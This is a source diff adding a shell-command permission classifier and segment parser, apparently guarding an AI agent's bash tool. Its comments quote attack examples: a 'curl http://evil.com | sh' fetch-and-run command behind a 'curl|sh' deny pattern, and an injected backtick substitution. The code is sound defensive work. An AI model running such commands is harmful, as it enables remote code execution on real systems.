* `["curl ...", "sh"]`, neither of which matches the literal `curl|sh`). When matched,
|
|
1491
|
+
* returns `{ decision: "deny", reason: "always-deny pattern: '<pattern>'" }` immediately —
|
|
1492
|
+
* no segment evaluation, no cascade walk.
|
|
1493
|
+
* 2. Split — `splitShellSegments(command)` (ISS-002 parser), filtered to drop empty/whitespace
|
|
1494
|
+
* segments. If no segments remain (empty command, whitespace-only, operators-only with no
|
|
1495
|
+
* operands), return `{ decision: "ask", reason: "empty command" }`.
|
|
1496
|
+
* 3. Per-segment classification — each surviving segment is classified via {@link classifySegment}.
|
|
1497
|
+
* 4. Combined precedence — `deny > ask > allow` across segments per `architecture.md:46-47` and
|
|
1498
|
+
* `data-model.md:162`. The combined reason concatenates per-segment reasons with
|
|
1499
|
+
* `"segment N: <reason>; "` formatting so FLOW-07's prompt preview can attribute the decision
|
|
1500
|
+
* to the offending segment(s).
|
|
1501
|
+
*
|
|
1502
|
+
* Source anchor: `tasks.md` TSK-003-03 (`classifyCommand` pipeline), `data-model.md:397` (the
|
|
1503
|
+
* classifyCommand block diagram), `architecture.md:46-47` (combined `deny > ask > allow`
|
|
1504
|
+
* precedence), `constitution §1.4 v0.4.0` (ALWAYS_DENY union safety floor),
|
|
1505
|
+
* `constitution §1.5` (cascade direction).
|
|
1506
|
+
*
|
|
1507
|
+
* @requires mode !== "off" — the Off-mode bypass lives above this resolver in the bash tool
|
|
1508
|
+
* handler (ISS-005); `classifyCommand` is not invoked with `mode === "off"` and the
|
|
1509
|
+
* `PermissionLevel` type excludes `"off"` from its union.
|
|
1510
|
+
*/
|
|
1511
|
+
export function classifyCommand(command, mode, rules) {
|
|
1512
|
+
// (a) ALWAYS_DENY pre-check — full-string match against the union of all deny lists.
|
|
1513
|
+
// Matches cross-segment attack patterns that per-segment evaluation would miss. Uses the
|
|
1514
|
+
// loose substring-with-pipe-as-wildcard matcher (`matchCommandAgainstUnionDeny`) so a
|
|
1515
|
+
// pattern like `curl|sh` catches `curl http://evil.com | sh` even though per-segment
|
|
1516
|
+
// evaluation would split that into `["curl http://evil.com", "sh"]` and miss the
|
|
1517
|
+
// literal pattern.
|
|
1518
|
+
const union = unionDenyPatterns(rules);
|
|
1519
|
+
const alwaysMatch = matchCommandAgainstUnionDeny(command, union);
|
|
1520
|
+
if (alwaysMatch.matched && alwaysMatch.pattern !== undefined) {
|
|
1521
|
+
return {
|
|
1522
|
+
decision: "deny",
|
|
1523
|
+
reason: `always-deny pattern: '${alwaysMatch.pattern}'`,
|
|
1524
|
+
};
|
|
1525
|
+
}
|
|
1526
|
+
// (b) Split — segment the command and drop any empty/whitespace-only pieces the parser emits.
|
|
1527
|
+
const rawSegments = splitShellSegments(command);
|
|
1528
|
+
const segments = rawSegments.filter((s) => s.trim() !== "");
|
|
1529
|
+
if (segments.length === 0) {
|
|
1530
|
+
return { decision: "ask", reason: "empty command" };
|
|
1531
|
+
}
|
|
1532
|
+
// (c) Per-segment classification — delegate to classifySegment for each surviving segment.
|
|
1533
|
+
const perSegment = segments.map((seg) => classifySegment(seg, mode, rules));
|
|
1534
|
+
// (d) Combined precedence — deny > ask > allow. The first segment with each decision wins,
|
|
1535
|
+
// and the combined reason concatenates per-segment reasons so FLOW-07's prompt preview and
|
|
1536
|
+
// FLOW-08's audit trail can attribute the decision to the offending segment(s).
|
|
1537
|
+
const combinedReason = perSegment.map((d, idx) => `segment ${idx + 1}: ${d.reason}`).join("; ");
|
|
1538
|
+
const denySegment = perSegment.find((d) => d.decision === "deny");
|
|
1539
|
+
if (denySegment !== undefined) {
|
|
1540
|
+
return { decision: "deny", reason: combinedReason };
|
|
1541
|
+
}
|
|
1542
|
+
const askSegment = perSegment.find((d) => d.decision === "ask");
|
|
1543
|
+
if (askSegment !== undefined) {
|
|
1544
|
+
return { decision: "ask", reason: combinedReason };
|
|
1545
|
+
}
|
|
1546
|
+
return { decision: "allow", reason: combinedReason };
|
|
1547
|
+
}
|
|
1548
|
+
/**
|
|
1549
|
+
* Try to extract a backtick command substitution (`...`) at position `i`. Returns `null` when
|
|
1550
|
+
* the position is not a backtick, when inside single quotes (backticks are opaque there), or
|
|
1551
|
+
* when the substitution is unterminated. Backticks ARE active inside double quotes per shell semantics.
|
|
1552
|
+
*
|
|
1553
|
+
* On success returns `{ inner, endIndex, wrapper }`:
|
|
1554
|
+
* - `inner` is the substitution body, suitable for recursive splitShellSegments.
|
|
1555
|
+
* - `endIndex` is where the caller should resume (one past the closing backtick).
|
|
1556
|
+
* - `wrapper` is the input buffer prepared for commit.
|
|
1557
|
+
*/
|
|
1558
|
+
function tryExtractBacktick(input, i, buffer, lastRedirectOp, inSingle) {
|
|
1559
|
+
// Backticks are opaque inside single quotes
|
|
1560
|
+
if (inSingle)
|
|
1561
|
+
return null;
|
|
1562
|
+
if (input[i] !== "`")
|
|
1563
|
+
return null;
|
|
1564
|
+
const closeTickIndex = findMatchingBacktick(input, i);
|
|
1565
|
+
if (closeTickIndex === -1)
|
|
1566
|
+
return null;
|
|
1567
|
+
const inner = input.slice(i + 1, closeTickIndex);
|
|
1568
|
+
const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
|
|
1569
|
+
return { inner, endIndex: closeTickIndex + 1, wrapper };
|
|
1570
|
+
}
|
|
1571
|
+
/**
|
|
1572
|
+
* Handle a backtick found inside an active double-quoted region. Splits the buffer at the
|
|
1573
|
+
* opening double-quote boundary (committing the leading prefix as its own segment), inlines
|
|
1574
|
+
* the substitution content into the buffer, and sets the `dquoteBufferStart` sentinel to `-1`
|
|
1575
|
+
* so the closing double-quote at the end of input is dropped (already consumed by the split).
|
|
1576
|
+
*
|
|
1577
|
+
* The return shape mirrors the loop's mutable parser state so the caller can re-bind in one
|
|
1578
|
+
* statement. Returns `null` when the backtick is unterminated — the caller falls through to
|
|
1579
|
+
* {@link tryExtractBacktick} which will likewise return null on an unterminated backtick, so
|
|
1580
|
+
* the character is preserved verbatim per the conservative-degradation contract.
|
|
1581
|
+
*
|
|
1582
|
+
* Shell-semantics rationale: backticks are active command substitution inside double quotes
|
|
1583
|
+
* (unlike single quotes). The split prefix commits, e.g., `echo` from `echo "a`whoami`b"` so
|
|
1584
|
+
* the LLM-facing allowlist segments an injected substitution away from its enclosing command.
|
|
1585
|
+
*/
|
|
1586
|
+
function handleBacktickInDoubleQuotes(input, i, buffer, dquoteBufferStart, segments) {
|
|
1587
|
+
// Split at the opening `"` — `dquoteBufferStart` is the position AFTER the `"` was appended,
|
|
1588
|
+
// so the prefix is `current.slice(0, dquoteBufferStart - 1)` (everything up to and including
|
|
1589
|
+
// the `"`) and the inside-quotes remainder starts at `dquoteBufferStart`.
|
|
1590
|
+
const prefix = buffer.slice(0, dquoteBufferStart - 1);
|
|
1591
|
+
const insideQuotes = buffer.slice(dquoteBufferStart);
|
|
1592
|
+
commitSegment(prefix, segments);
|
|
1593
|
+
const closeTickIndex = findMatchingBacktick(input, i);
|
|
1594
|
+
if (closeTickIndex === -1) {
|
|
1595
|
+
return null;
|
|
1596
|
+
}
|
|
1597
|
+
const inner = input.slice(i + 1, closeTickIndex);
|
|
1598
|
+
return {
|
|
1599
|
+
current: insideQuotes + inner,
|
|
1600
|
+
dquoteBufferStart: -1,
|
|
1601
|
+
i: closeTickIndex + 1,
|
|
1602
|
+
};
|
|
1603
|
+
}
|
|
1604
|
+
/**
|
|
1605
|
+
* Try to detect a process substitution token `>(...)` or `<(...)` at position `i`.
|
|
1606
|
+
* Process substitutions are shell syntax for FIFO-based command substitution:
|
|
1607
|
+
* `cmd < <(dangerous)` → the `<` is the redirect operator and `<(dangerous)` is the target.
|
|
1608
|
+
* The `<` or `>` before `(` is part of the syntax, not a standalone redirect operator.
|
|
1609
|
+
* Returns `null` when not at a process substitution, inside quotes, or unterminated.
|
|
1610
|
+
*/
|
|
1611
|
+
function tryMatchProcessSubstitution(input, i, buffer, lastRedirectOp, inSingle, inDouble) {
|
|
1612
|
+
if (inSingle || inDouble)
|
|
1613
|
+
return null;
|
|
1614
|
+
if (i + 1 >= input.length)
|
|
1615
|
+
return null;
|
|
1616
|
+
const c = input[i];
|
|
1617
|
+
if (c !== ">" && c !== "<")
|
|
1618
|
+
return null;
|
|
1619
|
+
if (input[i + 1] !== "(")
|
|
1620
|
+
return null;
|
|
1621
|
+
const openParenIndex = i + 1;
|
|
1622
|
+
const closeParenIndex = findMatchingParen(input, openParenIndex);
|
|
1623
|
+
if (closeParenIndex === -1)
|
|
1624
|
+
return null;
|
|
1625
|
+
const inner = input.slice(openParenIndex + 1, closeParenIndex);
|
|
1626
|
+
const wrapper = lastRedirectOp === null ? buffer : stripTrailingRedirect(buffer, lastRedirectOp);
|
|
1627
|
+
return { inner, endIndex: closeParenIndex + 1, wrapper };
|
|
1628
|
+
}
|
|
1629
|
+
/**
|
|
1630
|
+
* Consume a single redirect target starting from `start` (the first character of the target
|
|
1631
|
+
* path). The target is any run of non-whitespace, non-split-operator characters — the shell
|
|
1632
|
+
* redirect target is a file path or word, not a shell command, so we consume it flatly
|
|
1633
|
+
* without parsing subshells or substitutions inside it.
|
|
1634
|
+
* Returns `i` positioned at the first character after the target.
|
|
1635
|
+
*/
|
|
1636
|
+
function consumeRedirectTarget(input, start) {
|
|
1637
|
+
let i = start;
|
|
1638
|
+
while (i < input.length &&
|
|
1639
|
+
input[i] !== " " &&
|
|
1640
|
+
input[i] !== " " &&
|
|
1641
|
+
input[i] !== "\n" &&
|
|
1642
|
+
input[i] !== "|" &&
|
|
1643
|
+
input[i] !== ";" &&
|
|
1644
|
+
!(input[i] === "&" && i + 1 < input.length && input[i + 1] === "&")) {
|
|
1645
|
+
i++;
|
|
1646
|
+
}
|
|
1647
|
+
return i;
|
|
1648
|
+
}
|
|
1649
|
+
/**
|
|
1650
|
+
* Consume trailing redirect operators and their targets starting from `start`.
|
|
1651
|
+
* Used after process substitution extraction to drop trailing redirects
|
|
1652
|
+
* (e.g., `tee >(cat) > /tmp/out` drops the trailing `> /tmp/out`).
|
|
1653
|
+
* Stops at the next split operator or end of input.
|
|
1654
|
+
*/
|
|
1655
|
+
function consumeTrailingRedirects(input, start) {
|
|
1656
|
+
let i = start;
|
|
1657
|
+
while (i < input.length) {
|
|
1658
|
+
i = skipOperatorWhitespace(input, i);
|
|
1659
|
+
if (i >= input.length)
|
|
1660
|
+
break;
|
|
1661
|
+
const c = input[i];
|
|
1662
|
+
// Must be a redirect operator
|
|
1663
|
+
if (c !== ">" && c !== "<")
|
|
1664
|
+
break;
|
|
1665
|
+
i++; // consume > or <
|
|
1666
|
+
if (c === ">" && i < input.length && input[i] === ">")
|
|
1667
|
+
i++; // >>
|
|
1668
|
+
i = skipOperatorWhitespace(input, i);
|
|
1669
|
+
if (i >= input.length)
|
|
1670
|
+
break;
|
|
1671
|
+
i = consumeRedirectTarget(input, i);
|
|
1672
|
+
}
|
|
1673
|
+
return i;
|
|
1674
|
+
}
|
|
1675
|
+
export function splitShellSegments(cmd) {
|
|
1676
|
+
if (cmd === "") {
|
|
1677
|
+
return [];
|
|
1678
|
+
}
|
|
1679
|
+
const segments = [];
|
|
1680
|
+
let current = "";
|
|
1681
|
+
let inSingle = false;
|
|
1682
|
+
let inDouble = false;
|
|
1683
|
+
let escaped = false;
|
|
1684
|
+
// Double-quote buffer start index — tracks where the opening `"` was appended
|
|
1685
|
+
// in `current`. Used by backtick-inside-double-quotes handling to split the
|
|
1686
|
+
// buffer at the quote boundary and inline the backtick content.
|
|
1687
|
+
// - `null` = not currently inside a tracked double-quote context
|
|
1688
|
+
// - a number = position in `current` after the opening `"`
|
|
1689
|
+
// - `-1` = sentinel indicating we already split on a backtick inside double quotes
|
|
1690
|
+
let dquoteBufferStart = null;
|
|
1691
|
+
let i = 0;
|
|
1692
|
+
// Heredoc state — `pendingDelimiter` is armed when an opener is seen and activates body mode on
|
|
1693
|
+
// the next `\n`; `activeDelimiter` (when set) means we are inside a body and the walker delegates
|
|
1694
|
+
// to {@link consumeHeredocBody} until the delimiter is matched on its own line.
|
|
1695
|
+
let pendingDelimiter = null;
|
|
1696
|
+
let activeDelimiter = null;
|
|
1697
|
+
// Subshell-redirect state — `lastRedirectOp` holds the most recent unquoted redirect operator
|
|
1698
|
+
// (`<`, `>`, `>>`) seen since the last non-whitespace, non-redirect character. When a `$(`
|
|
1699
|
+
// substitution follows such an operator (across optional whitespace), the substitution branch in
|
|
1700
|
+
// this loop (delegated to {@link tryExtractCommandSubstitution}) recognizes it as a subshell
|
|
1701
|
+
// redirect and emits the wrapper + inner content as separate segments (AC-002-04). The tracker
|
|
1702
|
+
// is cleared on any non-whitespace character that is not itself a redirect operator — delegated
|
|
1703
|
+
// to {@link appendChar} — so `cmd < file.txt $(more)` correctly treats the `$(more)` as an
|
|
1704
|
+
// INLINE substitution (no recent redirect) rather than a subshell redirect.
|
|
1705
|
+
let lastRedirectOp = null;
|
|
1706
|
+
while (i < cmd.length) {
|
|
1707
|
+
const c = cmd[i];
|
|
1708
|
+
// Heredoc body mode — body is literal text, no quote/escape/operator processing. The body
|
|
1709
|
+
// consumer walks until the delimiter line is matched (resuming at the surrounding newline)
|
|
1710
|
+
// or EOF is reached (preserving the partial trailing line).
|
|
1711
|
+
if (activeDelimiter !== null) {
|
|
1712
|
+
const result = consumeHeredocBody(cmd, i, activeDelimiter);
|
|
1713
|
+
current += result.body;
|
|
1714
|
+
i = result.endIndex;
|
|
1715
|
+
if (result.closed) {
|
|
1716
|
+
activeDelimiter = null;
|
|
1717
|
+
}
|
|
1718
|
+
continue;
|
|
1719
|
+
}
|
|
1720
|
+
// Pending heredoc opener — armed on the first `\n` after `<<DELIM`. Until the newline arrives,
|
|
1721
|
+
// normal parsing (including `&&` splits) applies to whatever follows the opener on the same
|
|
1722
|
+
// line, matching AC-002-03: `cat <<EOF && echo done` → `["cat <<EOF", "echo done"]`.
|
|
1723
|
+
if (pendingDelimiter !== null && c === "\n") {
|
|
1724
|
+
current += "\n";
|
|
1725
|
+
activeDelimiter = pendingDelimiter;
|
|
1726
|
+
pendingDelimiter = null;
|
|
1727
|
+
i += 1;
|
|
1728
|
+
continue;
|
|
1729
|
+
}
|
|
1730
|
+
// Escape branch — the previous character was a backslash outside quotes; consume this char
|
|
1731
|
+
// literally and strip the backslash itself. Operators reached via this path do not split.
|
|
1732
|
+
if (escaped) {
|
|
1733
|
+
current += c;
|
|
1734
|
+
escaped = false;
|
|
1735
|
+
i += 1;
|
|
1736
|
+
continue;
|
|
1737
|
+
}
|
|
1738
|
+
// Backslash escape trigger — only active outside both quote contexts. Inside single quotes
|
|
1739
|
+
// backslashes are literal (per shell semantics); inside double quotes they retain their
|
|
1740
|
+
// special meaning for `$`, `"`, `\`, newline but not for our operators — keeping the trigger
|
|
1741
|
+
// outside quotes is the conservative simplification for Phase 2.
|
|
1742
|
+
if (!inSingle && !inDouble && c === "\\") {
|
|
1743
|
+
escaped = true;
|
|
1744
|
+
i += 1;
|
|
1745
|
+
continue;
|
|
1746
|
+
}
|
|
1747
|
+
// Single-quote toggle — a `'` only toggles `inSingle` when not currently inside double quotes.
|
|
1748
|
+
// Single quotes inside double quotes are literal; double quotes inside single quotes are
|
|
1749
|
+
// literal (the next branch is gated on `!inSingle`).
|
|
1750
|
+
if (!inDouble && c === "'") {
|
|
1751
|
+
inSingle = !inSingle;
|
|
1752
|
+
current += c;
|
|
1753
|
+
i += 1;
|
|
1754
|
+
continue;
|
|
1755
|
+
}
|
|
1756
|
+
// Double-quote toggle — symmetric to the single-quote branch. When `inDouble` transitions to true,
|
|
1757
|
+
// track the buffer position for backtick-inside-double-quotes handling. When transitioning to false
|
|
1758
|
+
// after a backtick split (dquoteBufferStart === -1), don't append the closing `"` to buffer.
|
|
1759
|
+
if (!inSingle && c === '"') {
|
|
1760
|
+
if (!inDouble) {
|
|
1761
|
+
inDouble = true;
|
|
1762
|
+
current += c;
|
|
1763
|
+
dquoteBufferStart = current.length; // save position after opening quote
|
|
1764
|
+
}
|
|
1765
|
+
else if (dquoteBufferStart === -1) {
|
|
1766
|
+
// Closing " after backtick split — don't append the quote to buffer
|
|
1767
|
+
inDouble = false;
|
|
1768
|
+
dquoteBufferStart = null;
|
|
1769
|
+
}
|
|
1770
|
+
else {
|
|
1771
|
+
inDouble = false;
|
|
1772
|
+
current += c;
|
|
1773
|
+
dquoteBufferStart = null;
|
|
1774
|
+
}
|
|
1775
|
+
i += 1;
|
|
1776
|
+
continue;
|
|
1777
|
+
}
|
|
1778
|
+
// Backtick substitution detection — `...`
|
|
1779
|
+
// Backticks are command substitution even inside double quotes per shell semantics.
|
|
1780
|
+
// Inside single quotes they are opaque (gated by !inSingle).
|
|
1781
|
+
if (c === "`" && !inSingle) {
|
|
1782
|
+
// Inside-double-quotes branch is its own helper so the main loop's conditional depth
|
|
1783
|
+
// stays flat (the per-quote-class dispatch keeps each variant to one extraction path).
|
|
1784
|
+
if (inDouble && dquoteBufferStart !== null && dquoteBufferStart !== -1) {
|
|
1785
|
+
const dqResult = handleBacktickInDoubleQuotes(cmd, i, current, dquoteBufferStart, segments);
|
|
1786
|
+
if (dqResult !== null) {
|
|
1787
|
+
({ current, dquoteBufferStart, i } = dqResult);
|
|
1788
|
+
continue;
|
|
1789
|
+
}
|
|
1790
|
+
// Unterminated backtick inside double quotes — fall through to default backtick
|
|
1791
|
+
// extraction (which will also return null, so the backtick is preserved as a literal
|
|
1792
|
+
// character per the conservative-degradation contract).
|
|
1793
|
+
}
|
|
1794
|
+
// Normal backtick extraction (outside double quotes — regular segment split)
|
|
1795
|
+
// Also reached when a backtick-inside-double-quotes is unterminated (fall-through from
|
|
1796
|
+
// the block above — in that case tryExtractBacktick returns null and the backtick
|
|
1797
|
+
// is preserved as a literal character per the conservative-degradation contract).
|
|
1798
|
+
const bt = tryExtractBacktick(cmd, i, current, lastRedirectOp, inSingle);
|
|
1799
|
+
if (bt !== null) {
|
|
1800
|
+
commitSubstitution(bt.wrapper, bt.inner, segments);
|
|
1801
|
+
current = "";
|
|
1802
|
+
lastRedirectOp = null;
|
|
1803
|
+
i = bt.endIndex;
|
|
1804
|
+
continue;
|
|
1805
|
+
}
|
|
1806
|
+
}
|
|
1807
|
+
// Heredoc opener detection — `<<DELIM` outside quotes, distinct from `<<<` herestring. The
|
|
1808
|
+
// opener is appended verbatim and arms `pendingDelimiter` for activation on the next `\n`.
|
|
1809
|
+
const heredocOpener = tryMatchHeredocOpener(cmd, i, inSingle, inDouble);
|
|
1810
|
+
if (heredocOpener !== null) {
|
|
1811
|
+
current += `<<${heredocOpener.delimiter}`;
|
|
1812
|
+
pendingDelimiter = heredocOpener.delimiter;
|
|
1813
|
+
i += heredocOpener.length;
|
|
1814
|
+
continue;
|
|
1815
|
+
}
|
|
1816
|
+
// Command substitution `$(...)` — AC-002-04 subshell-redirect fix + inline substitution.
|
|
1817
|
+
// Delegated to {@link tryExtractCommandSubstitution} which handles quote gating, finding the
|
|
1818
|
+
// matching `)`, and stripping the wrapper's trailing redirect operator. When that helper
|
|
1819
|
+
// returns null (not a subshell opener, inside quotes, or unterminated `$(`) the loop falls
|
|
1820
|
+
// through to the redirect op / operator / default branches and the `$` is appended literally.
|
|
1821
|
+
const subst = tryExtractCommandSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
|
|
1822
|
+
if (subst !== null) {
|
|
1823
|
+
commitSubstitution(subst.wrapper, subst.inner, segments);
|
|
1824
|
+
current = "";
|
|
1825
|
+
lastRedirectOp = null;
|
|
1826
|
+
i = subst.endIndex;
|
|
1827
|
+
// Consume trailing redirects after subshell extraction (e.g., `cmd < $(dangerous) > /tmp/out`
|
|
1828
|
+
// drops the trailing `> /tmp/out`)
|
|
1829
|
+
i = consumeTrailingRedirects(cmd, i);
|
|
1830
|
+
continue;
|
|
1831
|
+
}
|
|
1832
|
+
// Process substitution detection — `>(...)` and `<(...)`
|
|
1833
|
+
// Detected AFTER `$()` but BEFORE the redirect operator check so the `>` or `<`
|
|
1834
|
+
// is consumed as part of the process substitution syntax, not as a standalone redirect.
|
|
1835
|
+
const procSubst = tryMatchProcessSubstitution(cmd, i, current, lastRedirectOp, inSingle, inDouble);
|
|
1836
|
+
if (procSubst !== null) {
|
|
1837
|
+
commitSubstitution(procSubst.wrapper, procSubst.inner, segments);
|
|
1838
|
+
current = "";
|
|
1839
|
+
lastRedirectOp = null;
|
|
1840
|
+
i = procSubst.endIndex;
|
|
1841
|
+
// Consume trailing redirects after process substitution (e.g., `tee >(cat) > /tmp/out`
|
|
1842
|
+
// drops the trailing `> /tmp/out`)
|
|
1843
|
+
i = consumeTrailingRedirects(cmd, i);
|
|
1844
|
+
continue;
|
|
1845
|
+
}
|
|
1846
|
+
// Redirect operator `<`, `>`, `>>` outside quotes — delegated to {@link tryAppendRedirectOp}
|
|
1847
|
+
// so the `>>` precedence and state-tracking mutations live in one focused helper. The returned
|
|
1848
|
+
// `lastRedirectOp` is what the substitution branch above reads on the next non-whitespace
|
|
1849
|
+
// iteration to recognize a subshell redirect. Heredoc opener detection (`<<`, `<<<`) runs above
|
|
1850
|
+
// this branch, so those tokens are NOT routed here.
|
|
1851
|
+
const redirect = tryAppendRedirectOp(cmd, i, current, inSingle, inDouble);
|
|
1852
|
+
if (redirect !== null) {
|
|
1853
|
+
current = redirect.buffer;
|
|
1854
|
+
lastRedirectOp = redirect.lastRedirectOp;
|
|
1855
|
+
i = redirect.endIndex;
|
|
1856
|
+
continue;
|
|
1857
|
+
}
|
|
1858
|
+
// Operator split — only when fully outside quotes. `tryMatchOperator` returns null inside
|
|
1859
|
+
// quotes so we never reach the flush branch with `inSingle || inDouble` true. The pending
|
|
1860
|
+
// heredoc delimiter is also cleared here so a `<<EOF` on one segment does not leak into the
|
|
1861
|
+
// next segment's body mode (each segment is its own command surface for FLOW-08/09).
|
|
1862
|
+
const op = tryMatchOperator(cmd, i, inSingle, inDouble);
|
|
1863
|
+
if (op !== null) {
|
|
1864
|
+
commitSegment(current, segments);
|
|
1865
|
+
current = "";
|
|
1866
|
+
pendingDelimiter = null;
|
|
1867
|
+
i += op.length;
|
|
1868
|
+
i = skipOperatorWhitespace(cmd, i);
|
|
1869
|
+
continue;
|
|
1870
|
+
}
|
|
1871
|
+
// Default char append — delegated to {@link appendChar} which encapsulates the
|
|
1872
|
+
// whitespace-preserves-redirect-op, other-char-resets rule.
|
|
1873
|
+
const appended = appendChar(c, current, lastRedirectOp);
|
|
1874
|
+
current = appended.buffer;
|
|
1875
|
+
lastRedirectOp = appended.lastRedirectOp;
|
|
1876
|
+
i += 1;
|
|
1877
|
+
}
|
|
1878
|
+
commitSegment(current, segments);
|
|
1879
|
+
return segments;
|
|
1880
|
+
}
|
|
1881
|
+
/**
|
|
1882
|
+
* User-visible notification rendered when the classifier yields `ask` but no UI is
|
|
1883
|
+
* available (Constitution §1.6 headless-safety floor; FLOW-11). Centralized so the
|
|
1884
|
+
* literal is the single source of truth for both the gate-level and prompt-level
|
|
1885
|
+
* short-circuits and the test assertion that pins it via
|
|
1886
|
+
* `message.includes("BLOCKED (headless)")` in `test/prompt.test.ts`.
|
|
1887
|
+
*/
|
|
1888
|
+
const BLOCKED_HEADLESS_MESSAGE = "BLOCKED (headless)";
|
|
1889
|
+
/**
|
|
1890
|
+
* Metacharacter set that disqualifies a `/...` or `~/...` entry from being treated as a bare file
|
|
1891
|
+
* path. A bare path is a leading-`/` or leading-`~` token with no shell-operator punctuation — a
|
|
1892
|
+
* developer pointing at `/tmp/output.txt` is unambiguously identifying a file, but `/foo|bar` is a
|
|
1893
|
+
* pipe construct and `/foo bar` is two arguments, not a single path. Mirrors
|
|
1894
|
+
* `data-model.md:177-228` (bare-path semantics) and `architecture.md:152-163` ("a bare path is one
|
|
1895
|
+
* that points at a file ... not a command"). Includes backtick so `` /foo`date` `` (which would
|
|
1896
|
+
* trigger subshell substitution at parse time) does not escape the filter.
|
|
1897
|
+
*/
|
|
1898
|
+
const BARE_PATH_METACHAR_RE = /[|&;<>()$`\\\s'"*?{}\[\]!#]/;
|
|
1899
|
+
/**
|
|
1900
|
+
* True when `entry` is a leading-`/` or leading-`~` token with no shell metacharacters — i.e. the
|
|
1901
|
+
* candidate is a pure file-system path rather than a compound command fragment. Used by
|
|
1902
|
+
* {@link getAllowListEntries} to drop `/tmp/out` / `~/notes.md`-style entries from the prompt
|
|
1903
|
+
* preview and the on-disk allowlist so a developer cannot accidentally approve only the file
|
|
1904
|
+
* portion of `cat /tmp/output.txt`.
|
|
1905
|
+
*
|
|
1906
|
+
* Order of checks matters: the empty-string short-circuit returns `false` BEFORE the regex
|
|
1907
|
+
* matches, so an empty entry never collides with the `/^[/~].*$/` anchor; the leading-`/` or
|
|
1908
|
+
* leading-`~` check precedes the metachar scan so relative paths like `./foo.txt` or `foo/bar.txt`
|
|
1909
|
+
* short-circuit to `false` without scanning for metachars.
|
|
1910
|
+
*
|
|
1911
|
+
* Source anchor: `architecture.md:152-163`, `data-model.md:177-228`.
|
|
1912
|
+
*/
|
|
1913
|
+
export function isBarePath(entry) {
|
|
1914
|
+
if (entry.length === 0)
|
|
1915
|
+
return false;
|
|
1916
|
+
if (!/^[/~].*$/.test(entry))
|
|
1917
|
+
return false;
|
|
1918
|
+
if (BARE_PATH_METACHAR_RE.test(entry))
|
|
1919
|
+
return false;
|
|
1920
|
+
return true;
|
|
1921
|
+
}
|
|
1922
|
+
/**
|
|
1923
|
+
* Regex matching a leading shell environment-variable assignment (`VAR=value`, `VAR="value"`,
|
|
1924
|
+
* etc.). The identifier must be a valid shell identifier (`[a-zA-Z_][a-zA-Z0-9_]*`) immediately
|
|
1925
|
+
* followed by `=`. Used by {@link stripLeadingEnvAssignments} to strip transient environment
|
|
1926
|
+
* overrides from commands before they enter the permission gate so the classifier, rules,
|
|
1927
|
+
* and prompt preview work on the actual executable command.
|
|
1928
|
+
*
|
|
1929
|
+
* Only matches at segment start — `WORD=WORD` in the middle of a command is not identified
|
|
1930
|
+
* as an assignment (shell semantics: assignments are only recognized before the command word).
|
|
1931
|
+
*
|
|
1932
|
+
* Source anchor: `architecture.md:152-163` (prompt preview composed of allowlist entries).
|
|
1933
|
+
*/
|
|
1934
|
+
const ENV_ASSIGN_RE = /^[a-zA-Z_][a-zA-Z0-9_]*=/;
|
|
1935
|
+
/**
|
|
1936
|
+
* Returns `true` when `segment` looks like a leading shell environment-variable assignment
|
|
1937
|
+
* (`VAR=value`). Identifiers must start with `[a-zA-Z_]` and contain `[a-zA-Z0-9_]*` before
|
|
1938
|
+
* the `=` — matching POSIX-shell env-assignment naming rules. The value portion is any string
|
|
1939
|
+
* up to the next shell-operator boundary.
|
|
1940
|
+
*
|
|
1941
|
+
* This is a **syntactic** check; it does not validate that the value is well-formed (quoted,
|
|
1942
|
+
* escaped, etc.) — the shell segment parser has already resolved quoting before we see the
|
|
1943
|
+
* token.
|
|
1944
|
+
*/
|
|
1945
|
+
export function isEnvAssignment(segment) {
|
|
1946
|
+
return ENV_ASSIGN_RE.test(segment);
|
|
1947
|
+
}
|
|
1948
|
+
/**
|
|
1949
|
+
* Lightweight whitespace-aware word splitter that respects single and double quotes.
|
|
1950
|
+
* Splits on whitespace outside quotes, returning the individual words. Used by
|
|
1951
|
+
* {@link stripLeadingEnvAssignments} to identify leading env-var assignments at the
|
|
1952
|
+
* word level — unlike {@link splitShellSegments} which only splits on shell operators
|
|
1953
|
+
* (`&&`, `|`, `;`), not whitespace.
|
|
1954
|
+
*
|
|
1955
|
+
* Does NOT handle escaping, backtick substitution, or shell operators beyond quoting.
|
|
1956
|
+
* This is intentional — we only need to distinguish leading `VAR=value` words from
|
|
1957
|
+
* command words, not parse the full shell grammar.
|
|
1958
|
+
*/
|
|
1959
|
+
function splitShellWords(input) {
|
|
1960
|
+
const words = [];
|
|
1961
|
+
let current = "";
|
|
1962
|
+
let inSingle = false;
|
|
1963
|
+
let inDouble = false;
|
|
1964
|
+
for (const c of input) {
|
|
1965
|
+
if (c === "'" && !inDouble) {
|
|
1966
|
+
inSingle = !inSingle;
|
|
1967
|
+
current += c;
|
|
1968
|
+
}
|
|
1969
|
+
else if (c === '"' && !inSingle) {
|
|
1970
|
+
inDouble = !inDouble;
|
|
1971
|
+
current += c;
|
|
1972
|
+
}
|
|
1973
|
+
else if (/\s/.test(c) && !inSingle && !inDouble) {
|
|
1974
|
+
if (current.length > 0) {
|
|
1975
|
+
words.push(current);
|
|
1976
|
+
current = "";
|
|
1977
|
+
}
|
|
1978
|
+
}
|
|
1979
|
+
else {
|
|
1980
|
+
current += c;
|
|
1981
|
+
}
|
|
1982
|
+
}
|
|
1983
|
+
if (current.length > 0) {
|
|
1984
|
+
words.push(current);
|
|
1985
|
+
}
|
|
1986
|
+
return words;
|
|
1987
|
+
}
|
|
1988
|
+
/**
|
|
1989
|
+
* Strip one or more leading shell environment-variable assignments (`VAR=value`) from
|
|
1990
|
+
* `command`. Only strips assignments that appear before the first non-assignment word,
|
|
1991
|
+
* matching shell semantics where `VAR=val cmd` sets an env var for the command but
|
|
1992
|
+
* `cmd VAR=val` passes `VAR=val` as a literal argument.
|
|
1993
|
+
*
|
|
1994
|
+
* Uses a word-level splitter ({@link splitShellWords}) that respects quotes, then drops
|
|
1995
|
+
* leading words matching {@link isEnvAssignment}. The remaining command is reconstructed
|
|
1996
|
+
* by joining the surviving words.
|
|
1997
|
+
*
|
|
1998
|
+
* **Contract:**
|
|
1999
|
+
* - `stripLeadingEnvAssignments("PLAN_TARGET=/tmp/foo ~/cmd.sh arg")`
|
|
2000
|
+
* → `"~/cmd.sh arg"`
|
|
2001
|
+
